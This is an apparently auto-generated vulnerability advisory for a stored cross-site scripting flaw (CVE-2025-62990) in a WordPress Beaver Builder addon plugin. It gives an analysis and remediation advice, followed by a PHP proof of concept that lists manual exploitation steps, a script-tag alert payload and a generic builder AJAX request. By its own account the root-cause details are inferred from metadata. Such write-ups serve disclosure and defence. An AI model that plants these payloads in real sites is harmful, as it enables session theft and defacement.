Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 20, 2026

CVE-2025-62990: Livemesh Addons for Beaver Builder <= 3.9.2 – Authenticated (Contributor+) Stored Cross-Site Scripting (addons-for-beaver-builder)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.9.2
Patched Version
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62990 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Livemesh Addons for Beaver Builder WordPress plugin. Attackers with contributor-level or higher permissions can inject arbitrary JavaScript into pages or posts. The injected scripts execute in the browsers of users who view the compromised content. The CVSS score of 6.4 reflects a medium severity risk with scope change and impacts on confidentiality and integrity.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates the plugin fails to properly sanitize user-supplied input before storing it in the database. It also fails to escape the output when rendering the content on the front end. These conclusions are inferred from the CWE and standard WordPress security patterns, as no source code diff is available for confirmation.

The exploitation method requires an authenticated attacker with at least contributor-level access. The attacker likely edits or creates a page or post using a Beaver Builder module provided by the vulnerable Livemesh Addons. They inject a malicious script payload into a specific, insufficiently sanitized parameter within the module’s settings. A typical payload could be a simple script tag like `alert(document.domain)`. The payload is saved to the database. The script executes whenever any user, including unauthenticated visitors, accesses the page containing the injected module.

Remediation requires implementing proper input validation and output escaping. The plugin developers must sanitize all user-controlled input before storage using functions like `sanitize_text_field` or `wp_kses_post`. They must also escape all dynamic output when rendered on the front end or in the admin area using functions like `esc_html`, `esc_attr`, or `wp_kses`. A comprehensive fix would involve auditing all input fields in the plugin’s Beaver Builder modules and applying the appropriate WordPress security functions.

Successful exploitation leads to client-side code execution in the victim’s browser. Attackers can perform actions within the context of the victim’s session. This impact includes stealing session cookies, performing actions on behalf of the user, defacing the website, or redirecting users to malicious sites. The stored nature of the XSS increases its severity, as the payload persists and affects all future page viewers until removed.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62990 - Livemesh Addons for Beaver Builder <= 3.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php

// CONFIGURATION
$target_url = 'https://target-site.com'; // Base URL of the target WordPress site
$username = 'contributor_user'; // Contributor-level username
$password = 'contributor_password'; // Password for the user
$payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';

// ASSUMPTIONS (based on metadata and WordPress plugin patterns):
// 1. The vulnerability exists in a Beaver Builder module field.
// 2. The attack vector is via the standard WordPress post/page editor when Beaver Builder is active.
// 3. The plugin does not sanitize/escape input in a specific module parameter.
// 4. The exact parameter name is unknown, so this PoC demonstrates the general attack flow.

// This script simulates an authenticated user adding a malicious payload to a post.
// Since the exact vulnerable endpoint/parameter is unspecified in the metadata,
// a precise, automated PoC cannot be constructed without reverse engineering.
// The code below outlines the logical steps an attacker would take manually.

echo "[!] Atomic Edge CVE-2025-62990 Proof-of-Concept Outlinen";
echo "[!] Target: " . $target_url . "n";
echo "[!] This is a procedural outline because the vulnerable parameter is unspecified.nn";

echo "Step 1: Authenticate to WordPress as a user with 'contributor' role or higher.n";
echo "        Login URL: " . $target_url . "/wp-login.phpn";
echo "        Username: " . $username . "n";
echo "        Password: " . $password . "nn";

echo "Step 2: Create a new post or edit an existing one using the Beaver Builder editor.n";
echo "        Editor URL: " . $target_url . "/wp-admin/post-new.phpnn";

echo "Step 3: Add a module/widget from the 'Livemesh Addons for Beaver Builder' collection.n";
echo "        (e.g., 'Heading', 'Team Member', 'Posts Grid', 'Testimonials').nn";

echo "Step 4: Locate a text-based input field within the module settings (likely 'Title', 'Description', 'Content', or a custom HTML field).n";
echo "        Insert the XSS payload: " . htmlspecialchars($payload) . "nn";

echo "Step 5: Publish or update the post.nn";

echo "Step 6: Visit the published post URL. The JavaScript alert should execute, confirming the vulnerability.n";

echo "n[!] Without the specific vulnerable parameter name, automated exploitation is not feasible.n";

echo "n---n";
echo "Manual verification payload (use in a browser's developer console after authentication):n";
echo "fetch('" . $target_url . "/wp-admin/admin-ajax.php', {n";
echo "  method: 'POST',n";
echo "  credentials: 'include',n";
echo "  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },n";
echo "  body: new URLSearchParams({ action: 'fl_builder_save_layout', post_id: 'POST_ID_HERE', layout: JSON.stringify({ nodes: {}, settings: {}, partial: false }), actions: JSON.stringify([]) })n";
echo "}).then(r => r.text()).then(console.log).catch(console.error);n";
echo "// Note: This is a generic Beaver Builder AJAX call and may not be the vulnerable endpoint.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School